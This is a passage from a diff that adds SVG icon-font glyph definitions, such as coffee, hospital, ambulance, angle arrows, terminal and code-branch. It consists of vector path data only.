32s31.9805 -14.3301 31.9805 -32v-20.8398 +c73.46 -15.2598 127.939 -77.46 127.939 -155.16c0 -102.3 36.1504 -133.53 55.4697 -154.29z" /> + <glyph glyph-name="coffee" unicode="" horiz-adv-x="640" +d="M192 64c-53 0 -96 43 -96 96v232c0 13.2998 10.7002 24 24 24h392c70.5996 0 128 -57.4004 128 -128s-57.4004 -128 -128 -128h-32c0 -53 -43 -96 -96 -96h-192zM512 352h-32v-128h32c35.2998 0 64 28.7002 64 64s-28.7002 64 -64 64zM559.7 -32h-511.4 +c-47.5996 0 -61 64 -36 64h583.3c25 0 11.8008 -64 -35.8994 -64z" /> + <glyph glyph-name="hospital" unicode="" horiz-adv-x="448" +d="M448 -44v-20h-448v20c0 6.62695 5.37305 12 12 12h20v360c0 13.2549 10.7451 24 24 24h88v72c0 13.2549 10.7451 24 24 24h112c13.2549 0 24 -10.7451 24 -24v-72h88c13.2549 0 24 -10.7451 24 -24v-360h20c6.62695 0 12 -5.37305 12 -12zM308 256h-40 +c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12v40c0 6.62695 -5.37305 12 -12 12zM140 192h40c6.62695 0 12 5.37305 12 12v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40 +c0 -6.62695 5.37305 -12 12 -12zM244 64h-40c-6.62695 0 -12 -5.37305 -12 -12v-84h64v84c0 6.62695 -5.37305 12 -12 12zM308 160h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12v40c0 6.62695 -5.37305 12 -12 12 +zM192 148c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12v40zM182 352h26v-26c0 -3.31152 2.68848 -6 6 -6h20c3.31152 0 6 2.68848 6 6v26h26c3.31152 0 6 2.68848 6 6v20 +c0 3.31152 -2.68848 6 -6 6h-26v26c0 3.31152 -2.68848 6 -6 6h-20c-3.31152 0 -6 -2.68848 -6 -6v-26h-26c-3.31152 0 -6 -2.68848 -6 -6v-20c0 -3.31152 2.68848 -6 6 -6z" /> + <glyph glyph-name="ambulance" unicode="" horiz-adv-x="640" +d="M624 96c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-48c0 -53 -43 -96 -96 -96s-96 43 -96 96h-128c0 -53 -43 -96 -96 -96s-96 43 -96 96h-16c-26.5 0 -48 21.5 -48 48v320c0 26.5 21.5 48 48 48h320c26.5 0 48 -21.5 48 -48v-48h44.0996 +c12.7002 0 24.9004 -5.09961 33.9004 -14.0996l99.9004 -99.9004c9 -9 14.0996 -21.2002 14.0996 -33.9004v-108.1h16zM160 -16c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM304 232v48c0 4.40039 -3.59961 8 -8 8h-56v56 +c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-56h-56c-4.40039 0 -8 -3.59961 -8 -8v-48c0 -4.40039 3.59961 -8 8 -8h56v-56c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8v56h56c4.40039 0 8 3.59961 8 8zM480 -16c26.5 0 48 21.5 48 48 +s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM560 192v12.0996l-99.9004 99.9004h-44.0996v-112h144z" /> + <glyph glyph-name="medkit" unicode="" +d="M96 -32v352h32v48c0 26.5098 21.4902 48 48 48h160c26.5098 0 48 -21.4902 48 -48v-48h32v-352h-320zM192 352v-32h128v32h-128zM512 272v-256c0 -26.5098 -21.4902 -48 -48 -48h-16v352h16c26.5098 0 48 -21.4902 48 -48zM64 -32h-16c-26.5098 0 -48 21.4902 -48 48v256 +c0 26.5098 21.4902 48 48 48h16v-352zM352 176c0 8.83691 -7.16309 16 -16 16h-48v48c0 8.83691 -7.16309 16 -16 16h-32c-8.83691 0 -16 -7.16309 -16 -16v-48h-48c-8.83691 0 -16 -7.16309 -16 -16v-32c0 -8.83691 7.16309 -16 16 -16h48v-48 +c0 -8.83691 7.16309 -16 16 -16h32c8.83691 0 16 7.16309 16 16v48h48c8.83691 0 16 7.16309 16 16v32z" /> + <glyph glyph-name="fighter-jet" unicode="" horiz-adv-x="640" +d="M544 224c96 -21.333 96 -26.583 96 -32s0 -10.667 -96 -32l-128 -16l-48 -16h-24l-116.842 -148h39.5088c11.666 0 21.333 -2.625 21.333 -6s-9.66602 -6 -21.333 -6h-114.667v12h16v164h-48l-66.666 -80h-34.667l-10.667 10.667v69.333h8v16h48v2.66699l-64 8v42.667 +l64 8v2.66602h-48v16h-8v69.333l10.667 10.667h34.666l66.667 -80h48v164h-16v12h114.667c11.666 0 21.333 -2.625 21.333 -6s-9.66699 -6 -21.333 -6h-39.5088l116.842 -148h24l48 -16z" /> + <glyph glyph-name="beer" unicode="" horiz-adv-x="448" +d="M368 352c44.1123 0 80 -35.8877 80 -80v-128.86c0 -31.5273 -18.6035 -60.2031 -47.3936 -73.0527l-80.6064 -35.9766v-42.1104c0 -13.2549 -10.7451 -24 -24 -24h-272c-13.2549 0 -24 10.7451 -24 24v400c0 13.2549 10.7451 24 24 24h272c13.2549 0 24 -10.7451 24 -24 +v-40h48zM384 143.14v128.86c0 8.82227 -7.17773 16 -16 16h-48v-183.805l54.5215 24.334c5.58789 2.49902 9.47363 8.09863 9.47852 14.6104zM208 64c8.83594 0 16 7.16406 16 16v224c0 8.83594 -7.16406 16 -16 16s-16 -7.16406 -16 -16v-224 +c0 -8.83594 7.16406 -16 16 -16zM112 64c8.83594 0 16 7.16406 16 16v224c0 8.83594 -7.16406 16 -16 16s-16 -7.16406 -16 -16v-224c0 -8.83594 7.16406 -16 16 -16z" /> + <glyph glyph-name="h-square" unicode="" horiz-adv-x="448" +d="M448 368v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352c26.5098 0 48 -21.4902 48 -48zM336 320h-32c-8.83691 0 -16 -7.16309 -16 -16v-80h-128v80c0 8.83691 -7.16309 16 -16 16h-32 +c-8.83691 0 -16 -7.16309 -16 -16v-224c0 -8.83691 7.16309 -16 16 -16h32c8.83691 0 16 7.16309 16 16v80h128v-80c0 -8.83691 7.16309 -16 16 -16h32c8.83691 0 16 7.16309 16 16v224c0 8.83691 -7.16309 16 -16 16z" /> + <glyph glyph-name="plus-square" unicode="" horiz-adv-x="448" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM368 164v56c0 6.59961 -5.40039 12 -12 12h-92v92c0 6.59961 -5.40039 12 -12 12h-56c-6.59961 0 -12 -5.40039 -12 -12v-92h-92 +c-6.59961 0 -12 -5.40039 -12 -12v-56c0 -6.59961 5.40039 -12 12 -12h92v-92c0 -6.59961 5.40039 -12 12 -12h56c6.59961 0 12 5.40039 12 12v92h92c6.59961 0 12 5.40039 12 12z" /> + <glyph glyph-name="angle-double-left" unicode="" horiz-adv-x="448" +d="M223.7 209l136 136c9.39941 9.40039 24.5996 9.40039 33.8994 0l22.6006 -22.5996c9.39941 -9.40039 9.39941 -24.6006 0 -33.9004l-96.2998 -96.5l96.3994 -96.4004c9.40039 -9.39941 9.40039 -24.5996 0 -33.8994l-22.5996 -22.7002 +c-9.40039 -9.40039 -24.6006 -9.40039 -33.9004 0l-136 136c-9.5 9.40039 -9.5 24.5996 -0.0996094 34zM31.7002 175c-9.40039 9.40039 -9.40039 24.5996 0.0996094 34l136 136c9.2998 9.40039 24.5 9.40039 33.9004 0l22.5996 -22.7002 +c9.40039 -9.2998 9.40039 -24.5 0 -33.8994l-96.3994 -96.4004l96.2998 -96.5c9.39941 -9.2998 9.39941 -24.5 0 -33.9004l-22.6006 -22.5996c-9.2998 -9.40039 -24.5 -9.40039 -33.8994 0z" /> + <glyph glyph-name="angle-double-right" unicode="" horiz-adv-x="448" +d="M224.3 175l-136 -136c-9.39941 -9.40039 -24.5996 -9.40039 -33.8994 0l-22.6006 22.5996c-9.39941 9.40039 -9.39941 24.6006 0 33.9004l96.4004 96.4004l-96.4004 96.3994c-9.39941 9.40039 -9.39941 24.6006 0 33.9004l22.5 22.7998 +c9.40039 9.40039 24.6006 9.40039 33.9004 0l136 -136c9.5 -9.40039 9.5 -24.5996 0.0996094 -34zM416.3 209c9.40039 -9.40039 9.40039 -24.5996 0 -33.7998l-136 -136c-9.2998 -9.40039 -24.5 -9.40039 -33.8994 0l-22.6006 22.5996 +c-9.39941 9.2998 -9.39941 24.5 0 33.9004l96.4004 96.3994l-96.4004 96.4004c-9.39941 9.2998 -9.39941 24.5 0 33.9004l22.6006 22.5996c9.2998 9.40039 24.5 9.40039 33.8994 0z" /> + <glyph glyph-name="angle-double-up" unicode="" horiz-adv-x="320" +d="M177 192.3l136 -136c9.40039 -9.39941 9.40039 -24.5996 0 -33.8994l-22.5996 -22.6006c-9.40039 -9.39941 -24.6006 -9.39941 -33.9004 0l-96.5 96.2998l-96.4004 -96.3994c-9.39941 -9.40039 -24.5996 -9.40039 -33.8994 0l-22.7002 22.5996 +c-9.40039 9.40039 -9.40039 24.6006 0 33.9004l136 136c9.40039 9.5 24.5996 9.5 34 0.0996094zM143 384.3c9.40039 9.40039 24.5996 9.40039 33.7998 0l136 -136c9.40039 -9.2998 9.40039 -24.5 0 -33.8994l-22.5996 -22.6006c-9.2998 -9.39941 -24.5 -9.39941 -33.9004 0 +l-96.3994 96.4004l-96.4004 -96.4004c-9.2998 -9.39941 -24.5 -9.39941 -33.9004 0l-22.5996 22.6006c-9.40039 9.2998 -9.40039 24.5 0 33.8994z" /> + <glyph glyph-name="angle-double-down" unicode="" horiz-adv-x="320" +d="M143 191.7l-136 136c-9.40039 9.39941 -9.40039 24.5996 0 33.8994l22.5996 22.6006c9.40039 9.39941 24.6006 9.39941 33.9004 0l96.4004 -96.4004l96.3994 96.4004c9.40039 9.39941 24.6006 9.39941 33.9004 0l22.7998 -22.5 +c9.40039 -9.40039 9.40039 -24.6006 0 -33.9004l-136 -136c-9.40039 -9.5 -24.5996 -9.5 -34 -0.0996094zM177 -0.299805c-9.40039 -9.40039 -24.5996 -9.40039 -34 0.0996094l-136 136c-9.40039 9.2998 -9.40039 24.5 0 33.9004l22.7002 22.5996 +c9.2998 9.40039 24.5 9.40039 33.8994 0l96.4004 -96.3994l96.5 96.2998c9.2998 9.39941 24.5 9.39941 33.9004 0l22.5996 -22.6006c9.40039 -9.2998 9.40039 -24.5 0 -33.8994z" /> + <glyph glyph-name="angle-left" unicode="" horiz-adv-x="256" +d="M31.7002 209l136 136c9.39941 9.40039 24.5996 9.40039 33.8994 0l22.6006 -22.5996c9.39941 -9.40039 9.39941 -24.6006 0 -33.9004l-96.2998 -96.5l96.3994 -96.4004c9.40039 -9.39941 9.40039 -24.5996 0 -33.8994l-22.5996 -22.7002 +c-9.40039 -9.40039 -24.6006 -9.40039 -33.9004 0l-136 136c-9.5 9.40039 -9.5 24.5996 -0.0996094 34z" /> + <glyph glyph-name="angle-right" unicode="" horiz-adv-x="256" +d="M224.3 175l-136 -136c-9.39941 -9.40039 -24.5996 -9.40039 -33.8994 0l-22.6006 22.5996c-9.39941 9.40039 -9.39941 24.6006 0 33.9004l96.4004 96.4004l-96.4004 96.3994c-9.39941 9.40039 -9.39941 24.6006 0 33.9004l22.5 22.7998 +c9.40039 9.40039 24.6006 9.40039 33.9004 0l136 -136c9.5 -9.40039 9.5 -24.5996 0.0996094 -34z" /> + <glyph glyph-name="angle-up" unicode="" horiz-adv-x="320" +d="M177 288.3l136 -136c9.40039 -9.39941 9.40039 -24.5996 0 -33.8994l-22.5996 -22.6006c-9.40039 -9.39941 -24.6006 -9.39941 -33.9004 0l-96.5 96.2998l-96.4004 -96.3994c-9.39941 -9.40039 -24.5996 -9.40039 -33.8994 0l-22.7002 22.5996 +c-9.40039 9.40039 -9.40039 24.6006 0 33.9004l136 136c9.40039 9.5 24.5996 9.5 34 0.0996094z" /> + <glyph glyph-name="angle-down" unicode="" horiz-adv-x="320" +d="M143 95.7002l-136 136c-9.40039 9.39941 -9.40039 24.5996 0 33.8994l22.5996 22.6006c9.40039 9.39941 24.6006 9.39941 33.9004 0l96.4004 -96.4004l96.3994 96.4004c9.40039 9.39941 24.6006 9.39941 33.9004 0l22.5996 -22.6006 +c9.40039 -9.39941 9.40039 -24.5996 0 -33.8994l-136 -136c-9.2002 -9.40039 -24.3994 -9.40039 -33.7998 0z" /> + <glyph glyph-name="desktop" unicode="" horiz-adv-x="576" +d="M528 448c26.5 0 48 -21.5 48 -48v-320c0 -26.5 -21.5 -48 -48 -48h-192l16 -48h72c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24h-272c-13.2998 0 -24 10.7002 -24 24s10.7002 24 24 24h72l16 48h-192c-26.5 0 -48 21.5 -48 48v320c0 26.5 21.5 48 48 48h480z +M512 96v288h-448v-288h448z" /> + <glyph glyph-name="laptop" unicode="" horiz-adv-x="640" +d="M624 32c8.7998 0 16 -7.2002 16 -16v-16c0 -35.2002 -28.7998 -64 -64 -64h-512c-35.2002 0 -64 28.7998 -64 64v16c0 8.7998 7.2002 16 16 16h239.23c-0.25 -14.5303 14.0791 -32 32.7695 -32h60.7998c18.0303 0 32 12.1904 32.7402 32h242.46zM576 400v-336h-512v336 +c0 26.4004 21.5996 48 48 48h416c26.4004 0 48 -21.5996 48 -48zM512 128v256h-384v-256h384z" /> + <glyph glyph-name="tablet" unicode="" horiz-adv-x="448" +d="M400 448c26.5 0 48 -21.5 48 -48v-416c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h352zM224 -32c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" /> + <glyph glyph-name="mobile" unicode="" horiz-adv-x="320" +d="M272 448c26.5 0 48 -21.5 48 -48v-416c0 -26.5 -21.5 -48 -48 -48h-224c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h224zM160 -32c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" /> + <glyph glyph-name="quote-left" unicode="" +d="M464 192c26.5 0 48 -21.5 48 -48v-128c0 -26.5 -21.5 -48 -48 -48h-128c-26.5 0 -48 21.5 -48 48v240c0 88.4004 71.5996 160 160 160h8c13.2998 0 24 -10.7002 24 -24v-48c0 -13.2998 -10.7002 -24 -24 -24h-8c-35.2998 0 -64 -28.7002 -64 -64v-64h80zM176 192 +c26.5 0 48 -21.5 48 -48v-128c0 -26.5 -21.5 -48 -48 -48h-128c-26.5 0 -48 21.5 -48 48v240c0 88.4004 71.5996 160 160 160h8c13.2998 0 24 -10.7002 24 -24v-48c0 -13.2998 -10.7002 -24 -24 -24h-8c-35.2998 0 -64 -28.7002 -64 -64v-64h80z" /> + <glyph glyph-name="quote-right" unicode="" +d="M464 416c26.5 0 48 -21.5 48 -48v-240c0 -88.4004 -71.5996 -160 -160 -160h-8c-13.2998 0 -24 10.7002 -24 24v48c0 13.2998 10.7002 24 24 24h8c35.2998 0 64 28.7002 64 64v64h-80c-26.5 0 -48 21.5 -48 48v128c0 26.5 21.5 48 48 48h128zM176 416 +c26.5 0 48 -21.5 48 -48v-240c0 -88.4004 -71.5996 -160 -160 -160h-8c-13.2998 0 -24 10.7002 -24 24v48c0 13.2998 10.7002 24 24 24h8c35.2998 0 64 28.7002 64 64v64h-80c-26.5 0 -48 21.5 -48 48v128c0 26.5 21.5 48 48 48h128z" /> + <glyph glyph-name="spinner" unicode="" +d="M304 400c0 -26.5098 -21.4902 -48 -48 -48s-48 21.4902 -48 48s21.4902 48 48 48s48 -21.4902 48 -48zM256 32c26.5098 0 48 -21.4902 48 -48s-21.4902 -48 -48 -48s-48 21.4902 -48 48s21.4902 48 48 48zM464 240c26.5098 0 48 -21.4902 48 -48s-21.4902 -48 -48 -48 +s-48 21.4902 -48 48s21.4902 48 48 48zM96 192c0 -26.5098 -21.4902 -48 -48 -48s-48 21.4902 -48 48s21.4902 48 48 48s48 -21.4902 48 -48zM108.922 92.9219c26.5088 0 48 -21.4912 48 -48c0 -26.5098 -21.4902 -48 -48 -48s-48 21.4902 -48 48s21.4902 48 48 48z +M403.078 92.9219c26.5098 0 48 -21.4912 48 -48c0 -26.5098 -21.4902 -48 -48 -48s-48 21.4902 -48 48s21.4902 48 48 48zM108.922 387.078c26.5088 0 48 -21.4902 48 -48s-21.4902 -48 -48 -48s-48 21.4902 -48 48s21.4902 48 48 48z" /> + <glyph glyph-name="circle" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248z" /> + <glyph glyph-name="smile" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM328 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM168 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32 +s32 14.2998 32 32s-14.2998 32 -32 32zM362.8 101.8c13.5 16.2998 -11.2002 36.7002 -24.5996 20.5c-22.4004 -26.7998 -55.2002 -42.2002 -90.2002 -42.2002s-67.7998 15.3008 -90.2002 42.2002c-13.5996 16.2002 -38.2002 -4.2002 -24.5996 -20.5 +c28.5 -34.2002 70.2998 -53.7998 114.8 -53.7998s86.2998 19.5996 114.8 53.7998z" /> + <glyph glyph-name="frown" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM328 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM168 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32 +s32 14.2998 32 32s-14.2998 32 -32 32zM338.2 53.7998c13.5 -16.2998 38.0996 4.2002 24.5 20.4004c-28.4004 34.2002 -70.2998 53.7998 -114.7 53.7998s-86.2998 -19.5996 -114.8 -53.7002c-13.5 -16.2998 11.0996 -36.7998 24.5996 -20.5 +c22.4004 26.7998 55.2998 42.2002 90.2002 42.2002s67.7998 -15.4004 90.2002 -42.2002z" /> + <glyph glyph-name="meh" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM168 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM344 80c21.2002 0 21.2002 32 0 32h-192c-21.2002 0 -21.2002 -32 0 -32 +h192zM328 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" /> + <glyph glyph-name="gamepad" unicode="" horiz-adv-x="640" +d="M480.07 352c88.2842 -0.0263672 159.938 -71.7402 159.938 -160.03c0 -88.3066 -71.6934 -160 -160 -160c-44.7324 0 -85.2021 18.3965 -114.249 48.0303h-91.5195c-29.0469 -29.6338 -69.5078 -48 -114.24 -48c-88.3066 0 -160 71.6934 -160 160s71.6934 160 160 160 +h320.07zM248 180v24c0 6.62305 -5.37695 12 -12 12h-52v52c0 6.62305 -5.37695 12 -12 12h-24c-6.62305 0 -12 -5.37695 -12 -12v-52h-52c-6.62305 0 -12 -5.37695 -12 -12v-24c0 -6.62305 5.37695 -12 12 -12h52v-52c0 -6.62305 5.37695 -12 12 -12h24 +c6.62305 0 12 5.37695 12 12v52h52c6.62305 0 12 5.37695 12 12zM464 104c22.0762 0 40 17.9238 40 40s-17.9238 40 -40 40s-40 -17.9238 -40 -40s17.9238 -40 40 -40zM528 200c22.0762 0 40 17.9238 40 40s-17.9238 40 -40 40s-40 -17.9238 -40 -40s17.9238 -40 40 -40z +" /> + <glyph glyph-name="keyboard" unicode="" horiz-adv-x="576" +d="M528 0h-480c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h480c26.5098 0 48 -21.4902 48 -48v-288c0 -26.5098 -21.4902 -48 -48 -48zM128 268v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40 +c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM224 268v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM320 268v40c0 6.62695 -5.37305 12 -12 12h-40 +c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM416 268v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM512 268v40 +c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM176 172v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40 +c6.62695 0 12 5.37305 12 12zM272 172v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM368 172v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40 +c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM464 172v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM128 76v40c0 6.62695 -5.37305 12 -12 12h-40 +c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM416 76v40c0 6.62695 -5.37305 12 -12 12h-232c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h232c6.62695 0 12 5.37305 12 12zM512 76v40 +c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12z" /> + <glyph glyph-name="flag-checkered" unicode="" +d="M243.2 258.1c24.2002 -6.69922 47.5996 -16.3994 73.5996 -22.1992v-68.2002c-24.2998 6.7002 -47.5 16.3994 -73.5996 22.2998v68.0996zM466.5 381.1c21.2002 9.80078 45.5 -5.69922 45.4004 -29v-243.1c0 -10.5996 -5.10059 -20.4004 -13.8008 -26.4004 +c-35.7998 -24.5996 -74.2998 -40.8994 -122.5 -40.8994c-67.3994 0 -111.6 34.7998 -165.199 34.7998c-50.8008 0 -86.1006 -10 -114.4 -22.0996v-94.4004c0 -13.2998 -10.7002 -24 -24 -24h-16c-13.2998 0 -24 10.7002 -24 24v386.1c-14.5 10.1006 -24 26.9004 -24 45.9004 +c0 31.7002 26.2998 57.2998 58.2998 56c28.5 -1.2002 51.7998 -24 53.6006 -52.4004c0.5 -8.39941 -0.800781 -16.2998 -3.60059 -23.5996c20.7002 7.59961 43 12 68 12c67.4004 0 111.7 -34.7998 165.2 -34.7998c40.5 0 82.7002 16 117 31.8994zM169.6 122.5v71.2998 +c-26.0996 -2.39941 -47.3994 -8.09961 -73.5996 -17.3994v-70.5c23.5996 8.39941 47.7998 13.8994 73.5996 16.5996zM464 257v70.5c-21.2998 -8.90039 -46.5996 -17.7002 -73.5996 -22.5v-71.9004c-26 -4.19922 -49.9004 -2.59961 -73.6006 2.7002v68.4004 +c-26.3994 4.59961 -49.8994 13.8994 -73.5996 21.2998v-67.4004c-25.2002 7 -46.6006 9.40039 -73.6006 5.7002v71.6006c-23.5 -2.2002 -40.3994 -9.80078 -73.5996 -22v-70.5c29 10.6992 51.2002 17.7998 73.5996 20.8994v-70c32.8008 3 53.9004 0.600586 73.6006 -3.7998 +v-68.5c26.2998 -4.59961 49.7002 -13.9004 73.5996 -21.2998v67.3994c25.7002 -7.09961 46.6006 -9.2998 73.6006 -5.59961v-71.5996c25.0996 2.39941 48.5 11 73.5996 27.0996v70.5c-22.2002 -14.2002 -48.7998 -22.5996 -73.5996 -26v71.0996 +c27.2998 4.40039 50 14.1006 73.5996 23.9004z" /> + <glyph glyph-name="terminal" unicode="" horiz-adv-x="640" +d="M257.981 175.029l-194.344 -194.344c-9.37305 -9.37207 -24.5684 -9.37207 -33.9404 0l-22.668 22.667c-9.35742 9.35742 -9.375 24.5225 -0.0400391 33.9014l154.021 154.746l-154.021 154.745c-9.33496 9.37891 -9.31738 24.5439 0.0400391 33.9014l22.667 22.667 +c9.37305 9.37207 24.5684 9.37207 33.9404 0l194.344 -194.344c9.37207 -9.37207 9.37207 -24.5674 0 -33.9404zM640 -8c0 -13.2549 -10.7451 -24 -24 -24h-304c-13.2549 0 -24 10.7451 -24 24v32c0 13.2549 10.7451 24 24 24h304c13.2549 0 24 -10.7451 24 -24v-32z" /> + <glyph glyph-name="code" unicode="" horiz-adv-x="640" +d="M278.9 -63.5l-61 17.7002c-6.40039 1.7998 -10 8.5 -8.2002 14.8994l136.5 470.2c1.7998 6.40039 8.5 10 14.8994 8.2002l61 -17.7002c6.40039 -1.7998 10 -8.5 8.2002 -14.8994l-136.5 -470.2c-1.89941 -6.40039 -8.5 -10.1006 -14.8994 -8.2002zM164.9 48.7002 +c-4.5 -4.90039 -12.1006 -5.10059 -17 -0.5l-144.101 135.1c-5.09961 4.7002 -5.09961 12.7998 0 17.5l144.101 135c4.89941 4.60059 12.5 4.2998 17 -0.5l43.5 -46.3994c4.69922 -4.90039 4.2998 -12.7002 -0.800781 -17.2002l-90.5996 -79.7002l90.5996 -79.7002 +c5.10059 -4.5 5.40039 -12.2998 0.800781 -17.2002zM492.1 48.0996c-4.89941 -4.5 -12.5 -4.2998 -17 0.600586l-43.5 46.3994c-4.69922 4.90039 -4.2998 12.7002 0.800781 17.2002l90.5996 79.7002l-90.5996 79.7998c-5.10059 4.5 -5.40039 12.2998 -0.800781 17.2002 +l43.5 46.4004c4.60059 4.7998 12.2002 5 17 0.5l144.101 -135.2c5.09961 -4.7002 5.09961 -12.7998 0 -17.5z" /> + <glyph glyph-name="reply-all" unicode="" horiz-adv-x="576" +d="M136.309 258.164l176.005 151.985c15.4062 13.3047 39.6865 2.50293 39.6865 -18.1641v-82.7637c129.182 -10.2305 224 -52.2119 224 -183.548c0 -61.4404 -39.582 -122.309 -83.333 -154.132c-13.6533 -9.93066 -33.1113 2.5332 -28.0771 18.6309 +c38.5117 123.162 -3.92188 169.482 -112.59 182.016v-84.1758c0 -20.7012 -24.2998 -31.4531 -39.6865 -18.1641l-176.005 151.987c-11.0703 9.56152 -11.0859 26.7529 0 36.3281zM8.30859 221.836c-11.0703 9.56152 -11.0859 26.7529 0 36.3281l176.005 151.985 +c15.4062 13.3047 39.6865 2.50293 39.6865 -18.1641v-15.8174l-108.607 -93.7861c-11.8906 -10.2637 -19.3926 -25.4307 -19.3926 -42.3564v-0.0234375c0 -0.0078125 -0.0292969 -0.00292969 -0.0292969 -0.0117188c0 -16.9268 7.53125 -32.1084 19.4229 -42.373 +l108.606 -93.7852v-15.8184c0 -20.7002 -24.2998 -31.4531 -39.6865 -18.1641z" /> + <glyph glyph-name="location-arrow" unicode="" +d="M444.52 444.48c38.3809 16 79.9609 -25.5801 63.9707 -63.9707l-191.9 -415.779c-22.3896 -47.9805 -92.75 -31.9805 -92.75 19.1895v175.91h-175.91c-51.1699 0 -67.1602 70.3604 -19.1895 92.75z" /> + <glyph glyph-name="crop" unicode="" +d="M488 96c13.25 0 24 -10.7402 24 -24v-48c0 -13.25 -10.75 -24 -24 -24h-40v-40c0 -13.25 -10.75 -24 -24 -24h-48c-13.25 0 -24 10.75 -24 24v282.75l-146.75 -146.75h114.75v-96h-232c-13.25 0 -24 10.75 -24 24v264h-40c-13.25 0 -24 10.75 -24 24v48 +c0 13.2598 10.75 24 24 24h40v40c0 13.2598 10.75 24 24 24h48c13.25 0 24 -10.7402 24 -24v-282.75l146.75 146.75h-114.75v96h210.75l59.3096 59.3096c6.25 6.25 16.3809 6.25 22.6309 0l22.6191 -22.6191c6.25 -6.25 6.25 -16.3809 0 -22.6309l-59.3096 -59.3096v-242.75 +h40z" /> + <glyph glyph-name="code-branch" unicode="" horiz-adv-x="384" +d="M384 304c0 -35.2002 -22.7998 -65.0996 -54.4004 -75.9004c-0.5 -28.0996 -7.59961 -50.5 -21.5996 -67.8994c-28.2002 -35 -76 -39.5 -118.2 -43.4004c-25.7002 -2.39941 -49.8994 -4.59961 -66.0996 -12.7998c-7.10059 -3.59961 -11.7998 -8.2002 -14.9004 -13.4004 +c30 -11.5 51.2002 -40.5996 51.2002 -74.5996c0 -44.2002 -35.7998 -80 -80 -80s-80 35.7998 -80 80c0 35.7998 23.5 66.0996 56 76.4004v199.3c-32.5 10.2002 -56 40.5 -56 76.2998c0 44.2002 35.7998 80 80 80s80 -35.7998 80 -80c0 -35.7998 -23.5 -66.0996 -56 -76.2998 